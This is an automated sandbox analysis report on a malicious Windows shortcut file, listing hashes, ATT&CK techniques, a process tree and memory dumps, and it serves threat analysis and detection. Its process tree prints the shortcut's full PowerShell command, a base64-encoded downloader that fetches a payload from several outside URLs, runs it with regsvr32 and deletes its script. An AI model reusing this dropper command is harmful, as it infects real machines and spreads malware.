81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19/11/2024, 17:58

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General

Target

81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf.lnk
Size

2KB
MD5

5d4fce0c3008b1e2605cfb20abab03b6
SHA1

f565d7bc92f1a1ae54ac5be17fbc67874af04c45
SHA256

81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf
SHA512

abd0975f11a69330b8a41c78e826b3891040824bcfd6a09f50f0ead5181d15b874063842fcb407330f5c902322027614e4b849231aa9ec049e7480f643b68fd1

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
2596	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2764	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2764	2232	cmd.exe	31
PID 2232 wrote to memory of 2764	2232	cmd.exe	31
PID 2232 wrote to memory of 2764	2232	cmd.exe	31
PID 2764 wrote to memory of 2596	2764	powershell.exe	32
PID 2764 wrote to memory of 2596	2764	powershell.exe	32
PID 2764 wrote to memory of 2596	2764	powershell.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "2022-04-26_1602.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2ZvY3VzbWVkaWNhLmluL2ZtbGliL0l4QkFCTWgwSTJjTE0zcXExR1Z2LyIsImh0dHA6Ly9kZW1vMzQuY2tnLmhrL3NlcnZpY2UvaGhNWnJmQzdNbm05SkQvIiwiaHR0cDovL2NvbGVnaW91bmFtdW5vLmVzL2NnaS1iaW4vRS8iLCJodHRwOi8vY2lwcm8ubXgvcHJlbnNhL3NpWlA2OXJCRm1pYkR2dVRQMUwvIiwiaHR0cDovL2ZpbG1tb2d6aXZvdGEucnMvU3ByeUFzc2V0cy9nRFIvIiwiaHR0cHM6Ly9jcmVlbW8ucGwvd3AtYWRtaW4vWktTMURjZHF1VVQ0QmI4S2IvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL0dNT1dEVFJmSUoueHRxO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvR01PV0RUUmZJSi54dHE7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1" ; powershell -executionpolicy bypass -file "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"; Remove-Item "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1

Filesize
898B

MD5
3f6b9a3c25a96dac461257368b47ec82

SHA1
d14a5d0fd3f7565796ac3dec993c68a77793fa6e

SHA256
e1388abcfea4474662917ee606c959651d8d9f54a67b6fd89643d06ec25a0f50

SHA512
59803aa3398e6cb5370d3e620c2bd0f12b314561bd3a95676eab8148c447828343b3fb192d58605eb2b1a7959b0c473fac8062743b7d262795baef3868542235

Download Submit
memory/2764-38-0x000007FEF612E000-0x000007FEF612F000-memory.dmp

Filesize
4KB

Download
memory/2764-39-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2764-40-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2764-41-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-43-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-44-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-50-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download